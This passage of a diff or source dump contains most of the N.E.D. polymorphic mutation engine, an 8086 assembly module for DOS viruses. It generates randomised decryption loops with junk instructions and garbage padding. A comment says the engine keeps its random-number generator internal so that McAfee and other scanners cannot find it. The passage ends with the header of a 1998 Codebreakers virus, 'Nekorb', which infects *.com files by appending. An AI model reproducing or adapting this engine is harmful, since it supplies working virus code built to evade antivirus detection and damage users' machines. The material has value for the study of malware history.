inc byte ptr [used_it + bx] ; Cross off register
|
||||
|
||||
xor cx,cx ; We need a word register
|
||||
call random_reg ; Get a random register
|
||||
inc byte ptr [used_it + bx] ; Cross it off...
|
||||
mov word ptr [loop_reg],ax ; Save loop register
|
||||
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
je embedded_key ; If so, the key's embedded
|
||||
mov cx,word ptr [byte_word] ; CX holds the byte word flag
|
||||
neg cx ; By NEGating CX and adding one
|
||||
inc cx ; CX will be flip-flopped
|
||||
call random_reg ; Get a random register
|
||||
inc byte ptr [used_it + bx] ; Cross it off...
|
||||
mov word ptr [key_reg],ax ; Save key register
|
||||
jmp short create_routine ; Ok, let's get to it!
|
||||
embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag
|
||||
|
||||
create_routine: call add_nop ; Add a do-nothing instruction?
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
je pointer_first ; If so, load pointer then count
|
||||
call load_count ; Load start register
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call load_pointer ; Load pointer register
|
||||
jmp short else_end1 ; Skip the ELSE part
|
||||
pointer_first: call load_pointer ; Load start register
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call load_count ; Load count register
|
||||
else_end1: call add_nop ; Add a do-nothing instruction?
|
||||
call load_key ; Load encryption key
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov word ptr [jump_here],di ; Save the offset of the loop
|
||||
call add_decrypt ; Create the decryption code
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call adjust_ptr ; Adjust the memory pointer
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
call end_loop ; End the decryption loop
|
||||
call random_fill ; Pad with random bullshit?
|
||||
|
||||
mov ax,di ; AX points to our current place
|
||||
sub ax,word ptr [buf_ptr] ; AX now holds # bytes written
|
||||
|
||||
mov bx,word ptr [adj_here] ; Find where we need to adjust
|
||||
add word ptr [bx],ax ; Adjust the starting offset
|
||||
|
||||
add ax,word ptr [copy_len] ; Add length of encrypted code
|
||||
push ax ; Save this for later
|
||||
|
||||
mov bx,word ptr [crypt_type]; BX holds encryption type
|
||||
mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte
|
||||
mov bh,0D8h ; Fix a strange problem...
|
||||
mov word ptr [encr_instr],bx; Save it into our routine
|
||||
|
||||
mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt
|
||||
cmp word ptr [byte_word],0 ; Are we doing it by bytes?
|
||||
je final_byte_k ; If so, reset LODS/STOS stuff
|
||||
mov byte ptr [load_point],0ADh ; Change it to a LODSW
|
||||
mov byte ptr [store_point],0ABh ; Change it to a STOSW
|
||||
shr cx,1 ; Do half as many repetitions
|
||||
mov bx,word ptr [the_key] ; Reload the key
|
||||
inc byte ptr [encr_instr] ; Fix up for words...
|
||||
jmp short encrypt_virus ; Let's go!
|
||||
final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW
|
||||
mov byte ptr [store_point],0AAh ; Change it to a STOSW
|
||||
mov bl,byte ptr [the_key] ; Ok, so I did this poorly...
|
||||
|
||||
encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code
|
||||
|
||||
|
||||
; This portion of the code is self-modifying. It may be bad style, but
|
||||
; it's far more efficient than writing six or so different routines...
|
||||
|
||||
_load_point: lodsb ; Load a byte/word into AL
|
||||
_encr_instr: xor al,bl ; Encrypt the byte/word
|
||||
_store_point: stosb ; Store the byte/word at ES:[DI]
|
||||
loop _load_point ; Repeat until all bytes done
|
||||
|
||||
; Ok, we're through... back to normal
|
||||
|
||||
|
||||
pop ax ; AX holds routine length
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
_buf_ptr dw ? ; Pointer: storage buffer
|
||||
_copy_len dw ? ; Integer: # bytes to copy
|
||||
_copy_off dw ? ; Pointer: original code
|
||||
_v_start dw ? ; Pointer: virus start in file
|
||||
_options dw ? ; Integer: bits set options
|
||||
|
||||
_byte_word dw ? ; Boolean: 0 = byte, 1 = word
|
||||
_up_down dw ? ; Boolean: 0 = up, 1 = down
|
||||
_mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP)
|
||||
_loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.)
|
||||
_key_reg dw ? ; Integer: -1 = internal
|
||||
|
||||
_mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg
|
||||
_used_it db 7 dup (0) ; Array: 0 = unused, 1 = used
|
||||
_jump_here dw ? ; Pointer: Start of loop
|
||||
_adj_here dw ? ; Pointer: Where to adjust
|
||||
ned_main endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; load_count
|
||||
;
|
||||
; Adds code to load the count register, which stores the number of
|
||||
; iterations that the decryption loop must make. if _byte_word = 0
|
||||
; then this value is equal to the size of the code to be encrypted;
|
||||
; if _byte_word = 1 (increment by words), it is half that length
|
||||
; (since two bytes are decrypted at a time).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
load_count proc near
|
||||
mov bx,word ptr [loop_reg] ; BX holds register number
|
||||
mov dx,word ptr [copy_len] ; DX holds size of virus
|
||||
mov cx,word ptr [byte_word] ; Neat trick to divide by
|
||||
shr dx,cl ; two if byte_word = 1
|
||||
mov cx,1 ; We're doing a word register
|
||||
call gen_mov ; Generate a move
|
||||
ret ; Return to caller
|
||||
|
||||
_word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj.
|
||||
_byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte
|
||||
load_count endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; load_pointer
|
||||
;
|
||||
; Adds code to load the pointer register, which points to the byte
|
||||
; or word of memory that is to be encrypted. Due to the flaws of
|
||||
; 8086 assembly language, only the SI, DI, BX, and BP registers may
|
||||
; be used.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;******************************************************************************
|
||||
|
||||
load_pointer proc near
|
||||
mov bx,word ptr [mem_reg] ; BX holds register number
|
||||
shl bx,1 ; Convert to word index
|
||||
mov bx,word ptr [mem_otr + bx] ; Convert register number
|
||||
mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
add al,0B8h ; Create a MOV instruction
|
||||
stosb ; Store it in the code
|
||||
mov word ptr [adj_here],di ; Save our current offset
|
||||
mov ax,word ptr [v_start] ; AX points to virus (in host)
|
||||
cmp word ptr [up_down],0 ; Are we going upwards?
|
||||
je no_adjust ; If so, no ajustment needed
|
||||
add ax,word ptr [copy_len] ; Point to end of virus
|
||||
no_adjust: stosw ; Store the start offset
|
||||
ret ; Return to caller
|
||||
load_pointer endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; load_key
|
||||
;
|
||||
; Adds code to load the encryption key into a register. If _byte_word = 0
|
||||
; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key
|
||||
; is supposed to be embedded, no code is generated at this point.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
load_key proc near
|
||||
mov ax,0FFFFh ; Select a random number
|
||||
call rand_num ; between 0 and 65534
|
||||
inc ax ; Eliminate any null keys
|
||||
mov word ptr [the_key],ax ; Save key for later
|
||||
mov bx,word ptr [key_reg] ; DX holds the register number
|
||||
cmp bx,-1 ; Is the key embedded?
|
||||
je blow_this_proc ; If so, just leave now
|
||||
xchg dx,ax ; DX holds key
|
||||
mov cx,word ptr [byte_word] ; CX holds byte/word flag
|
||||
call gen_mov ; Load the key into the register
|
||||
blow_this_proc: ret ; Return to caller
|
||||
|
||||
_the_key dw ? ; Integer: The encryption key
|
||||
load_key endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; add_decrypt
|
||||
;
|
||||
; Adds code to dencrypt a byte or word (pointed to by the pointer register)
|
||||
; by either a byte or word register or a fixed byte or word.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
add_decrypt proc near
|
||||
test word ptr [options],010000b ; Do we need a CS: override
|
||||
jne no_override ; If not, don't add it...
|
||||
mov al,02Eh ; Store a code-segment
|
||||
stosb ; override instruction (CS:)
|
||||
no_override: mov ax,3 ; Select a random number
|
||||
call rand_num ; between 0 and 2
|
||||
mov word ptr [crypt_type],ax; Save encryption type
|
||||
xchg bx,ax ; Now transfer it into BX
|
||||
mov ax,word ptr [byte_word] ; 0 if byte, 1 if word
|
||||
cmp word ptr [key_reg],-1 ; Is the key embedded?
|
||||
je second_case ; If so, it's a different story
|
||||
|
||||
add al,byte ptr [op_byte + bx] ; Adjust by operation type
|
||||
stosb ; Place the byte in the code
|
||||
|
||||
mov ax,word ptr [mem_reg] ; AX holds register number
|
||||
mov cl,3 ; To get the ModR/M table
|
||||
shl ax,cl ; offset, multiply by eight
|
||||
mov bx,word ptr [key_reg] ; BX holds key register number
|
||||
cmp word ptr [byte_word],0 ; Is this a byte?
|
||||
je byte_by_reg ; If so, special case
|
||||
mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M
|
||||
jmp short store_it_now ; Now save the byte
|
||||
byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M
|
||||
store_it_now: xor bh,bh ; Clear out any old data
|
||||
add bx,ax ; Add the first index
|
||||
mov al,byte ptr [modr_m + bx] ; Table look-up
|
||||
stosb ; Save it into the code
|
||||
cmp word ptr [mem_reg],3 ; Are we using BP?
|
||||
jne a_d_exit1 ; If not, leave
|
||||
xor al,al ; For some dumb reason we'll
|
||||
stosb ; have to specify a 0 adjustment
|
||||
a_d_exit1: ret ; Return to caller
|
||||
|
||||
|
||||
second_case: add al,080h ; Create the first byte
|
||||
stosb ; and store it in the code
|
||||
|
||||
mov al,byte ptr [op_byte + bx] ; Load up the OP byte
|
||||
mov bx,word ptr [mem_reg] ; BX holds register number
|
||||
mov cl,3 ; To get the ModR/M table
|
||||
shl bx,cl ; offset, multiply by eight
|
||||
add al,byte ptr [modr_m + bx] ; Add result of table look-up
|
||||
stosb ; Save it into the code
|
||||
cmp word ptr [mem_reg],3 ; Are we using BP?
|
||||
jne store_key ; If not, store the key
|
||||
xor al,al ; For some dumb reason we'll
|
||||
stosb ; have to specify a 0 adjustment
|
||||
store_key: cmp word ptr [byte_word],0 ; Is this a byte?
|
||||
je byte_by_byte ; If so, special case
|
||||
mov ax,word ptr [the_key] ; Load up *the key*
|
||||
stosw ; Save the whole two bytes!
|
||||
jmp short a_d_exit2 ; Let's split, man
|
||||
byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key*
|
||||
stosb ; Save it into the code
|
||||
a_d_exit2: ret ; Return to caller
|
||||
|
||||
_crypt_type dw ? ; Integer: Type of encryption
|
||||
_op_byte db 030h,000h,028h ; Array: OP byte of instruction
|
||||
_rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of ""
|
||||
_modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI
|
||||
db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI
|
||||
db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX
|
||||
db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP
|
||||
add_decrypt endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; adjust_ptr
|
||||
;
|
||||
; Adds code to adjust the memory pointer. There are two possible choices:
|
||||
; INC/DEC and ADD/SUB (inefficient, but provides variation).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
adjust_ptr proc near
|
||||
mov cx,word ptr [byte_word] ; CX holds byte/word flag
|
||||
inc cx ; Increment; now # INCs/DECs
|
||||
mov bx,word ptr [mem_reg] ; BX holds register number
|
||||
shl bx,1 ; Convert to word index
|
||||
mov bx,word ptr [mem_otr + bx] ; Convert register number
|
||||
mov dx,word ptr [up_down] ; DX holds up/down flag
|
||||
call gen_add_sub ; Create code to adjust pointer
|
||||
ret ; Return to caller
|
||||
adjust_ptr endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; end_loop
|
||||
;
|
||||
; Adds code to adjust the count variable, test to see if it's zero,
|
||||
; and repeat the decryption loop if it is not. There are three possible
|
||||
; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient,
|
||||
; but provides variation), and DEC/JNE (best choice for non-CX registers).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
end_loop proc near
|
||||
mov bx,word ptr [loop_reg] ; BX holds register number
|
||||
cmp bx,2 ; Are we using CX?
|
||||
jne dec_jne ; If not, we can't use LOOP
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
jne dec_jne ; If not, standard ending
|
||||
mov al,0E2h ; We'll do a LOOP instead
|
||||
stosb ; Save the OP byte
|
||||
jmp short store_jmp_loc ; Ok, now find the offset
|
||||
dec_jne: mov cx,1 ; Only adjust by one
|
||||
mov dx,1 ; We're subtracting...
|
||||
call gen_add_sub ; Create code to adjust count
|
||||
mov al,075h ; We'll do a JNE to save
|
||||
stosb ; Store a JNE OP byte
|
||||
store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset
|
||||
sub ax,di ; Adjust relative jump
|
||||
dec ax ; Adjust by one (DI is off)
|
||||
stosb ; Save the jump offset
|
||||
ret ; Return to caller
|
||||
end_loop endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; add_nop
|
||||
;
|
||||
; Adds between 0 and 3 do-nothing instructions to the code, if they are
|
||||
; allowed by the user (bit 0 set).
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
add_nop proc near
|
||||
push ax ; Save AX
|
||||
push bx ; Save BX
|
||||
push cx ; Save CX
|
||||
|
||||
test word ptr [options],0001b; Are we allowing these?
|
||||
jne outta_here ; If not, don't add 'em
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
or ax,ax ; Does AX = 0?
|
||||
je outta_here ; If so, don't add any NOPs...
|
||||
mov ax,4 ; Select a random number
|
||||
call rand_num ; between 0 and 3
|
||||
xchg cx,ax ; CX holds repetitions
|
||||
jcxz outta_here ; CX = 0? Split...
|
||||
add_nop_loop: mov ax,4 ; Select a random number
|
||||
call rand_num ; between 0 and 3
|
||||
or ax,ax ; Does AX = 0?
|
||||
je two_byter ; If so, a two-byte instruction
|
||||
cmp ax,1 ; Does AX = 1?
|
||||
je three_byter ; If so, a three-byte instruction
|
||||
mov al,090h ; We'll do a NOP instead
|
||||
stosb ; Store it in the code
|
||||
jmp short loop_point ; Complete the loop
|
||||
two_byter: mov ax,34 ; Select a random number
|
||||
call rand_num ; between 0 and 33
|
||||
xchg bx,ax ; Place in BX for indexing
|
||||
shl bx,1 ; Convert to word index
|
||||
mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command
|
||||
stosw ; Save it in the code...
|
||||
jmp short loop_point ; Complete the loop
|
||||
three_byter: mov ax,16 ; Select a random number
|
||||
call rand_num ; between 0 and 15
|
||||
mov bx,ax ; Place in BX for indexing
|
||||
shl bx,1 ; Convert to word index
|
||||
add bx,ax ; Add back value (BX = BX * 3)
|
||||
mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command
|
||||
stosw ; Save it in the code...
|
||||
mov al,byte ptr [dummy_three_cmd + bx + 2]
|
||||
stosb ; Save the final byte, too
|
||||
loop_point: loop add_nop_loop ; Repeat 0-2 more times
|
||||
outta_here: pop cx ; Restore CX
|
||||
pop bx ; Restore BX
|
||||
pop ax ; Restore AX
|
||||
ret ; Return to caller
|
||||
|
||||
_dummy_word_cmd: ; Useless instructions,
|
||||
; two bytes each
|
||||
mov ax,ax
|
||||
mov bx,bx
|
||||
mov cx,cx
|
||||
mov dx,dx
|
||||
mov si,si
|
||||
mov di,di
|
||||
mov bp,bp
|
||||
xchg bx,bx
|
||||
xchg cx,cx
|
||||
xchg dx,dx
|
||||
xchg si,si
|
||||
xchg di,di
|
||||
xchg bp,bp
|
||||
nop
|
||||
nop
|
||||
inc ax
|
||||
dec ax
|
||||
inc bx
|
||||
dec bx
|
||||
inc cx
|
||||
dec cx
|
||||
inc dx
|
||||
dec dx
|
||||
inc si
|
||||
dec si
|
||||
inc di
|
||||
dec di
|
||||
inc bp
|
||||
dec bp
|
||||
cmc
|
||||
cmc
|
||||
jmp short $ + 2
|
||||
je $ + 2
|
||||
jne $ + 2
|
||||
jg $ + 2
|
||||
jge $ + 2
|
||||
jl $ + 2
|
||||
jle $ + 2
|
||||
jo $ + 2
|
||||
jpe $ + 2
|
||||
jpo $ + 2
|
||||
js $ + 2
|
||||
jcxz $ + 2
|
||||
|
||||
|
||||
_dummy_three_cmd: ; Useless instructions,
|
||||
; three bytes each
|
||||
xor ax,0
|
||||
or ax,0
|
||||
add ax,0
|
||||
add bx,0
|
||||
add cx,0
|
||||
add dx,0
|
||||
add si,0
|
||||
add di,0
|
||||
add bp,0
|
||||
sub ax,0
|
||||
sub bx,0
|
||||
sub cx,0
|
||||
sub dx,0
|
||||
sub si,0
|
||||
sub di,0
|
||||
sub bp,0
|
||||
add_nop endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; gen_mov
|
||||
;
|
||||
; Adds code to load a register with a value. If MOV variance is enabled,
|
||||
; inefficient, sometimes strange, methods may be used; if it is disabled,
|
||||
; a standard MOV is used (wow). Various alternate load methods include
|
||||
; loading a larger value then subtracting the difference, loading a
|
||||
; smaller value the adding the difference, loading an XORd value then
|
||||
; XORing it by a key that will correct the difference, loading an incorrect
|
||||
; value and NEGating or NOTing it to correctness, and loading a false
|
||||
; value then loading the correct one.
|
||||
;
|
||||
; Arguments: BX = register number
|
||||
; CX = 0 for byte register, 1 for word register
|
||||
; DX = value to store
|
||||
; SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
gen_mov proc
|
||||
test word ptr [options],0010b; Do we allow wierd moves?
|
||||
je quick_fixup ; If so, short jump over JMP
|
||||
jmp make_mov ; If not, standard MOV
|
||||
quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index
|
||||
mov bl,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
jmp short get_rnd_num ; Ok, get a random number now
|
||||
byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up
|
||||
get_rnd_num: mov ax,7 ; Select a random number
|
||||
call rand_num ; between 0 and 6
|
||||
shl ax,1 ; Convert AX into word index
|
||||
lea bp,word ptr [jump_table] ; BP points to jump table
|
||||
add bp,ax ; BP now points to the offset
|
||||
mov ax,word ptr [bp] ; AX holds the jump offset
|
||||
add ax,si ; Adjust by our own offset
|
||||
mov word ptr [tmp_jmp_store],ax ; Store in scratch variable
|
||||
mov ax,0FFFFh ; Select a random number
|
||||
call rand_num ; between 0 and 65564
|
||||
xchg bp,ax ; Place random number in BP
|
||||
jmp word ptr [tmp_jmp_store]; JuMP to a load routine!
|
||||
load_move: xchg dx,bp ; Swap DX and BP
|
||||
call make_mov ; Load BP (random) in register
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
xchg dx,bp ; DX now holds real value
|
||||
jmp short make_mov ; Load real value in reigster
|
||||
load_sub: add dx,bp ; Add random value to load value
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov ah,0E8h ; We're doing a SUB
|
||||
jmp short make_add_sub ; Create the SUB instruction
|
||||
load_add: sub dx,bp ; Sub. random from load value
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov ah,0C0h ; We're doing an ADD
|
||||
jmp short make_add_sub ; Create the ADD instruction
|
||||
load_xor: xor dx,bp ; XOR load value by random
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
mov ah,0F0h ; We're doing an XOR
|
||||
jmp short make_add_sub ; Create the XOR instruction
|
||||
load_not: not dx ; Two's-compliment DX
|
||||
call make_mov ; Create a MOV instruction
|
||||
call add_nop ; Add a do-nothing instruction?
|
||||
load_not2: mov al,0F6h ; We're doing a NOT/NEG
|
||||
add al,cl ; If it's a word, add one
|
||||
stosb ; Store the byte
|
||||
mov al,0D0h ; Initialize the ModR/M byte
|
||||
add al,bl ; Add back the register info
|
||||
stosb ; Store the byte
|
||||
ret ; Return to caller
|
||||
load_neg: neg dx ; One's-compliment DX
|
||||
call make_mov ; Create a MOV instruction
|
||||
add bl,08h ; Change the NOT into a NEG
|
||||
jmp short load_not2 ; Reuse the above code
|
||||
|
||||
make_mov: mov al,0B0h ; Assume it's a byte for now
|
||||
add al,bl ; Adjust by register ModR/M
|
||||
jcxz store_mov ; If we're doing a byte, go on
|
||||
add al,008h ; Otherwise, adjust for word
|
||||
store_mov: stosb ; Store the OP byte
|
||||
mov ax,dx ; AX holds the load value
|
||||
put_byte_or_wd: jcxz store_byte ; If it's a byte, store it
|
||||
stosw ; Otherwise store a whole word
|
||||
ret ; Return to caller
|
||||
store_byte: stosb ; Store the byte in the code
|
||||
ret ; Return to caller
|
||||
|
||||
make_add_sub: mov al,080h ; Create the OP byte
|
||||
add al,cl ; If it's a word, add one
|
||||
stosb ; Store the byte
|
||||
mov al,ah ; AL now holds ModR/M byte
|
||||
add al,bl ; Add back the register ModR/M
|
||||
stosb ; Store the byte in the code
|
||||
xchg bp,ax ; AX holds the ADD/SUB value
|
||||
jmp short put_byte_or_wd ; Reuse the above code
|
||||
|
||||
_tmp_jmp_store dw ? ; Pointer: temp. storage
|
||||
_jump_table dw load_sub - ned_start, load_add - ned_start
|
||||
dw load_xor - ned_start, load_not - ned_start
|
||||
dw load_neg - ned_start, load_move - ned_start
|
||||
dw make_mov - ned_start
|
||||
gen_mov endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; gen_add_sub
|
||||
;
|
||||
; Adds code to adjust a register either up or down. A random combination
|
||||
; of ADD/SUBs and INC/DECs is used to increase code variability. Note
|
||||
; that this procedure will only work on *word* registers; attempts to
|
||||
; use this procedure for byte registers (AH, AL, etc.) may result in
|
||||
; invalid code being generated.
|
||||
;
|
||||
; Arguments: BX = ModR/M table offset for register
|
||||
; CX = Number to be added/subtracted from the register
|
||||
; DX = 0 for addition, 1 for subtraction
|
||||
; SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
gen_add_sub proc near
|
||||
jcxz exit_g_a_s ; Exit if there's no adjustment
|
||||
add_sub_loop: call add_nop ; Add a do-nothing instruction?
|
||||
cmp cx,3 ; Have to adjust > 3 bytes?
|
||||
ja use_add_sub ; If so, no way we use INC/DEC!
|
||||
test word ptr [options],0100b; Are ADD/SUBs allowed?
|
||||
jne use_inc_dec ; If not, only use INC/DECs
|
||||
mov ax,3 ; Select a random number
|
||||
call rand_num ; between 0 and 2
|
||||
or ax,ax ; Does AX = 0?
|
||||
je use_add_sub ; If so, use ADD or SUB
|
||||
use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
add al,040h ; It's an INC...
|
||||
or dx,dx ; Are we adding?
|
||||
je store_it0 ; If so, store it
|
||||
add al,08h ; Otherwise create a DEC
|
||||
store_it0: stosb ; Store the byte
|
||||
dec cx ; Subtract one fromt total count
|
||||
jmp short cxz_check ; Finish off the loop
|
||||
use_add_sub: mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
shl ax,1 ; Now it's either 0 or 2
|
||||
mov bp,ax ; Save the value for later
|
||||
add al,081h ; We're going to be stupid
|
||||
stosb ; and use an ADD or SUB instead
|
||||
mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
||||
add al,0C0h ; It's an ADD...
|
||||
or dx,dx ; Are we adding?
|
||||
je store_it1 ; If so, store it
|
||||
add al,028h ; Otherwise create a SUB
|
||||
store_it1: stosb ; Store the byte
|
||||
mov ax,cx ; Select a random number
|
||||
call rand_num ; between 0 and (CX - 1)
|
||||
inc ax ; Ok, add back one
|
||||
or bp,bp ; Does BP = 0?
|
||||
je long_form ; If so, it's the long way
|
||||
stosb ; Store the byte
|
||||
jmp short sub_from_cx ; Adjust the count now...
|
||||
long_form: stosw ; Store the whole word
|
||||
sub_from_cx: sub cx,ax ; Adjust total count by AX
|
||||
cxz_check: or cx,cx ; Are we done yet?
|
||||
jne add_sub_loop ; If not, repeat until we are
|
||||
exit_g_a_s: ret ; Return to caller
|
||||
gen_add_sub endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; random_fill
|
||||
;
|
||||
; Pads out the decryption with random garbage; this is only enabled if
|
||||
; bit 3 of the options byte is set.
|
||||
;
|
||||
; Arguments: SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: None
|
||||
;******************************************************************************
|
||||
|
||||
random_fill proc near
|
||||
test word ptr [options],01000b ; Are we allowing this?
|
||||
jne exit_r_f ; If not, don't add garbage
|
||||
mov ax,2 ; Select a random number
|
||||
call rand_num ; between 0 and 1
|
||||
xchg cx,ax ; Wow! A shortcut to save
|
||||
jcxz exit_r_f ; a byte! If AX = 0, exit
|
||||
mov ax,101 ; Select a random number
|
||||
call rand_num ; between 0 and 100
|
||||
xchg cx,ax ; Transfer to CX for LOOP
|
||||
jcxz exit_r_f ; If CX = 0 then exit now...
|
||||
mov al,0EBh ; We'll be doing a short
|
||||
stosb ; jump over the code...
|
||||
mov ax,cx ; Let's get that value back
|
||||
stosb ; We'll skip that many bytes
|
||||
garbage_loop: mov ax,0FFFFh ; Select a random number
|
||||
call rand_num ; between 0 and 65534
|
||||
stosb ; Store a random byte
|
||||
loop garbage_loop ; while (--_CX == 0);
|
||||
exit_r_f: ret ; Return to caller
|
||||
random_fill endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; random_reg
|
||||
;
|
||||
; Returns the number of a random register. If CX = 1, a byte register is
|
||||
; used; if CX = 0, a word register is selected.
|
||||
;
|
||||
; Arguments: CX = 0 for word, 1 for byte
|
||||
; SI = offset of ned_start
|
||||
; DI = offset of storage buffer
|
||||
;
|
||||
; Returns: AX = register number
|
||||
; BX = register's offset in cross-off table (used_it)
|
||||
;******************************************************************************
|
||||
|
||||
random_reg proc near
|
||||
get_rand_reg: mov ax,cx ; Select a random number
|
||||
add ax,7 ; between 0 and 6 for words
|
||||
call rand_num ; or 0 and 7 for bytes
|
||||
mov bx,ax ; Place in BX for indexing
|
||||
shr bx,cl ; Divide by two for bytes only
|
||||
cmp byte ptr [used_it + bx],0 ; Register conflict?
|
||||
jne get_rand_reg ; If so, try again
|
||||
ret ; Return to caller
|
||||
random_reg endp
|
||||
|
||||
|
||||
;******************************************************************************
|
||||
; rand_num
|
||||
;
|
||||
; Random number generation procedure for the N.E.D. This procedure can
|
||||
; be safely changed without affecting the rest of the module, with the
|
||||
; following restrictions: all registers that are changed must be preserved
|
||||
; (except, of course, AX), and AX must return a random number between
|
||||
; 0 and (BX - 1). This routine was kept internal to avoid the mistake
|
||||
; that MtE made, that is using a separate .OBJ file for the RNG. (When
|
||||
; a separate file is used, the RNG's location isn't neccessarily known,
|
||||
; and therefore the engine can't encrypt it. McAfee, etc. scan for
|
||||
; the random-number generator.)
|
||||
;
|
||||
; Arguments: BX = maximum random number + 1
|
||||
;
|
||||
; Returns: AX = psuedo-random number between 0 and (BX - 1)
|
||||
;******************************************************************************
|
||||
|
||||
rand_num proc near
|
||||
push dx ; Save DX
|
||||
push cx ; Save CX
|
||||
|
||||
push ax ; Save AX
|
||||
|
||||
rol word ptr [rand_val],1 ; Adjust seed for "randomness"
|
||||
add word ptr [rand_val],0754Eh ; Adjust it again
|
||||
|
||||
xor ah,ah ; BIOS get timer function
|
||||
int 01Ah
|
||||
|
||||
xor word ptr [rand_val],dx ; XOR seed by BIOS timer
|
||||
xor dx,dx ; Clear DX for division...
|
||||
|
||||
mov ax,word ptr [rand_val] ; Return number in AX
|
||||
pop cx ; CX holds max value
|
||||
div cx ; DX = AX % max_val
|
||||
xchg dx,ax ; AX holds final value
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop dx ; Restore DX
|
||||
ret ; Return to caller
|
||||
|
||||
_rand_val dw 0 ; Seed for generator
|
||||
rand_num endp
|
||||
|
||||
ned_end label near ; The end of the N.E.D.
|
||||
|
||||
end
|
|
@ -0,0 +1,345 @@
|
|||
; ------------------------------------------------------------------------- ;
|
||||
; Nekorb v1.5 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 10/06/98 | Finished: 11/06/98 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - start with a simple *.com appender | Size: 824 ;
|
||||
; v1.1 - time / date restoration `---------- ;
|
||||
